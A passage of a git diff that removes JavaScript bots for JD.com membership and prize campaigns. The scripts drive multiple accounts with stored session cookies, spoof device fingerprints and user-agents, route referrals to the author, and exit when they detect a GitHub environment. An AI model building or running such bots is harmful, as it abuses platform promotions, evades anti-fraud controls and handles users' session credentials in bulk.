res.data.msg || '') - }else if(res.msg){ - console.log(`uniteOpenCardOne ${res.msg || ''}`) - }else{ - console.log(`uniteOpenCardOne ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`uniteOpenCardOne ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(''); - } - }) - }) -} -function shopList() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/shopList", {"actId": $.actId}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) - if(res.data && typeof res.data != 'undefined') $.OpenCardList = res.data || [] - - }else if(res.msg){ - console.log(`shopList ${res.msg || ''}`) - }else{ - console.log(`shopList ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`shopList ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function loadUniteOpenCard(body = {}) { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/loadUniteOpenCard", {"actId": $.actId, ...body}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.msg || res.data.msg) console.log(`${res.msg || res.data.msg || ''}`) - if(res.data && res.data.succ === true && typeof res.data.customer.isOpenCard != 'undefined') $.isOpenCard = res.data.customer.isOpenCard || 0 - if(res.data && res.data.succ === true && typeof res.data.customer.isFocusAward != 'undefined') $.isFocusAward = res.data.customer.isFocusAward || 0 - if(res.data && res.data.succ === true && typeof res.data.customer.isCartAward != 'undefined') $.isCartAward = res.data.customer.isCartAward || 0 - if(res.data && res.data.succ === true && typeof res.data.customer.usedChance != 'undefined') $.usedChance = res.data.customer.usedChance || 0 - if(res.data && res.data.succ === true && typeof res.data.jdActivitySetting.howManyOpenCard != 'undefined') $.howManyOpenCard = res.data.jdActivitySetting.howManyOpenCard || 17 - - }else if(res.msg){ - console.log(`loadUniteOpenCard ${res.msg || ''}`) - }else{ - console.log(`loadUniteOpenCard ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`loadUniteOpenCard ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function setMixNick() { - return new Promise(resolve => { - const options = taskPostUrl("/openCard/setMixNick", {"strTMMixNick":$.isvObfuscatorToken,"source": "01"}); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} setMixNick API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.errorCode == 200){ - res = res.data - if(res.status == 200){ - if(res.data && res.data.succ === true && typeof res.data.msg != 'undefined') $.MixNick = res.data.msg || "" - }else if(res.msg){ - console.log(`setMixNick ${res.msg || ''}`) - }else{ - console.log(`setMixNick ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`setMixNick ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - let res = $.toObj(data); - if(res.success == true){ - // console.log($.toStr(res.result)) - // console.log(`入会:${res.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } -} -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1332_42932_43102&body=%7B%22url%22%3A%22https%3A%5C/%5C/jinggengjcq-isv.isvjcloud.com%5C/fronth5%5C/?lng%3D118.144789%26lat%3D24.494393%26sid%3D72eb6b136d16475a514d9c8097ae72fw%26un_area%3D16_1332_42932_43102%23%5C/pages%5C/unitedCard20210815%5C/unitedCard20210815?actId%3D67796e7ec3834aff9fa_815%26pushWay%3Dundefined%26bizExtString%3Dc2hhcmVOaWNrOjRBNTVDMUMwODY5Qzc1MDYxRDExQ0REQzlGMTk2MzFBMzMxQTAzRjc2M0JENDM1MkU3RkM5OTc4N0IzMEZCRDM0OTMzNkRFNTRFMjZBQThGMjgzNEIyNDhFNjM5OENCN0E3NTVERjRGREFFNTg1RUMzRTFBQkUyNkYzREQzQ0ZGQzk1NkQxMjk3NEZGMDBBMDQ1RDhFMzFBODRGRTg0QzE4QTgzNTdERTk2QTFGNjE3QjhBQzRENjRCQzI0QjY4OQ%253D%253D%22%2C%22id%22%3A%22%22%7D&build=167774&client=apple&clientVersion=10.1.0&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=57&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=62d9cc171d062009f112aabb0876aa29&st=1629007912659&sv=120&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJIboQ2/wBVQ9RdTaqwLZhLvDd5KOzOlCYHfIbrLMSFTq87x9FnB0euUOEOhvrlJDrP3DE1ad21cGUvWyBMoPHKiwpASKsio6Z0vEGHKtf1%2B/Ko6B3PdH%2BA%2B1ETmLny0aU0b82Cy/TDIKiXKZdj7IUhg69Y2%2BmmzxFGZo%2BKgCJMof7F5DA%2BtlNug%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, t) { - const b = $.toStr({ - "jsonRpc": "2.0", - "params": { - "commonParameter": { - "appkey": "51B59BB805903DA4CE513D29EC448375", - "m": "POST", - "timestamp": Date.now(), - "userId": $.userId - }, - "admJson": { - ...t, - "method": url, - "userId": $.userId, - "buyerNick": $.MixNick || "", - } - } - }) - return { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front${url}?mix_nick=${$.MixNick || ""}`, - body: b, - headers: { - "Accept": "application/json", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json; charset=utf-8", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "User-Agent": $.UA, - "X-Requested-With": "XMLHttpRequest" - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard22.js b/backUp/gua_opencard22.js deleted file mode 100644 index ffdf1ec..0000000 --- a/backUp/gua_opencard22.js +++ /dev/null @@ -1,885 +0,0 @@ -/* -9.3-9.13 奔跑吧 开学季 [gua_opencard22.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 (有可能没有豆 -开10张卡(2组) 抽奖可能获得30京豆/每组(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购没有豆只有游戏机会 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku22]为"true" -抽奖 (有可能是空气💨 默认不抽奖 如需抽奖请设置环境变量[guaopencard_draw22]为"true" -100积分抽1次 -填写要抽奖的次数 不足已自身次数为准 -guaopencard_draw22="3" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard22="true" -———————————————— -入口:[9.3-9.13 奔跑吧 开学季 (https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=902090301&shareUuid=a7b772e80ce64826b78da56f75be9700)] - -============Quantumultx=============== -[task_local] -#9.3-9.13 奔跑吧 开学季 -34 10,19 3-13 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js, tag=9.3-9.13 奔跑吧 开学季, enabled=true - -================Loon============== -[Script] -cron "34 10,19 3-13 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js, tag=9.3-9.13 奔跑吧 开学季 - -===============Surge================= -9.3-9.13 奔跑吧 开学季 = type=cron,cronexp="34 10,19 3-13 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js - -============小火箭========= -9.3-9.13 奔跑吧 开学季 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js, cronexpr="34 10,19 3-13 9 *", timeout=3600, enable=true -*/ -const $ = new Env('9.3-9.13 奔跑吧 开学季'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -let activityCookie = ''; -let lz_jdpin_token = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = "false" -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku22 ? process.env.guaopencard_addSku22 : guaopencard_addSku) : ($.getdata('guaopencard_addSku22') ? $.getdata('guaopencard_addSku22') : guaopencard_addSku); -let guaopencard_draw = "0" -guaopencard_draw = $.isNode() ? (process.env.guaopencard_draw22 ? process.env.guaopencard_draw22 : guaopencard_draw) : ($.getdata('guaopencard_draw22') ? $.getdata('guaopencard_draw22') : guaopencard_draw); -let guaopencard = "false" -guaopencard = $.isNode() ? (process.env.guaopencard22 ? process.env.guaopencard22 : guaopencard) : ($.getdata('guaopencard22') ? $.getdata('guaopencard22') : guaopencard); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if(guaopencard+"" != "true"){ - console.log('如需执行脚本请设置环境变量[guaopencard22]为"true"') - } - if(guaopencard+"" != "true"){ - return - } - } - $.shareUuid = 'a7b772e80ce64826b78da56f75be9700' - $.activityId = '902090301' - console.log(`入口:\nhttps://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length && true; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) break - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - lz_jdpin_token = '' - $.Token = '' - $.Pin = '' - await getCk() - if (activityCookie == '') { - console.log(`获取cookie失败`); return; - } - await getToken(); - if($.Token == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.nickname = ''; - await getMyPing() - if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await accessLogWithAD() - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - $.vipDraw1 = true - $.vipDraw2 = true - await checkOpenCard(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - console.log(`加入会员1:${$.joinvip1}`) - console.log(`加入会员2:${$.joinvip2}`) - if ((!$.joinvip1 || !$.joinvip2) && $.openCardList && $.openCard) { - let flag = false - for (let o of $.openCard && $.openCard || []) { - flag = false - for (let k of $.openCardList) { - if(o == k.venderId){ - flag = true - break - } - } - if(flag == false){ - console.log(o) - await join(o) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getActorUuid() - } - } - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - await checkOpenCard(); - console.log(`加入会员1:${$.joinvip1}`) - console.log(`加入会员2:${$.joinvip2}`) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - if(!$.vipDraw1) await draw(1) - if(!$.vipDraw1) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(!$.vipDraw2) await draw(2) - if(!$.vipDraw2) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await checkOpenCard(); - console.log(`关注店铺:${$.followshop}`) - if(!$.followshop) await saveTask('关注店铺', "followshop"); - if(!$.followshop) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await helpFriend(); - console.log(`签到:${$.signin}`) - if(!$.signin) await saveTask('签到', "signin¶m="); - if(!$.signin) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - console.log(`加购商品:${$.add2cart}`) - if(guaopencard_addSku+"" == "true"){ - if(!$.add2cart) await saveTask('加购商品', "add2cart¶m="); - }else console.log('如需加购请设置环境变量[guaopencard_addSku22]为"true"'); - console.log(`浏览商品:${$.scansku}`) - if(!$.scansku){ - console.log(`开始浏览商品`) - await getproduct() - for (let s of $.getproduct && $.getproduct || []) { - if(s.taskDone !== true) { - await saveTask('浏览商品', `scansku¶m=${s.id}`); - await $.wait(parseInt(Math.random() * 1000 + 5000, 10)) - } - } - } - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getActorUuid() - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await checkOpenCard(); - console.log(`总积分:${$.totalScore} 剩余积分:${$.useScore} 游戏机会:${$.leftchance}`) - let gameFlag = 0 - if(guaopencard_draw+"" !== "0"){ - let count = parseInt($.useScore/100, 10) - guaopencard_draw = parseInt(guaopencard_draw, 10) - if(count > guaopencard_draw) count = guaopencard_draw - console.log(`抽奖次数为:${count}`) - for(j=1;count-- && true;j++){ - gameFlag = 1 - console.log(`第${j}次`) - await draw(99) - await $.wait(parseInt(Math.random() * 1000 + 4000, 10)) - } - }else console.log('如需抽奖请设置环境变量[guaopencard_draw22]为"3" 3为次数'); - if(gameFlag == 1){ - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getActorUuid() - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await checkOpenCard(); - } - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getDrawRecordHasCoupon() - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - await getShareRecord() - $.log($.actorUuid) - $.log("助力码:"+$.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) - }catch(e){ - console.log(e) - } -} - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.actorUuid}` - $.post(taskPostUrl(`/dingzhi/union/kxj/myprize?_=${Date.now()}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in res.data){ - let item = res.data[i] - if(item.remark == '完成任务助力好友') num++; - if(item.remark == '完成任务助力好友') value = item.rewardName.replace('京豆',''); - if(item.remark != '完成任务助力好友') console.log(`${item.infoType != 10 && item.remark +':' || ''}${item.rewardName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.actorUuid}` - $.post(taskPostUrl(`/dingzhi/union/kxj/myfriend?_=${Date.now()}`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.ShareCount = res.data.length - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function draw(type) { - return new Promise(resolve => { - let body = `type=${type}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&userUuid=${$.actorUuid}` - const options = taskPostUrl(`/dingzhi/union/kxj/draw?_=${Date.now()}`, body); - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - 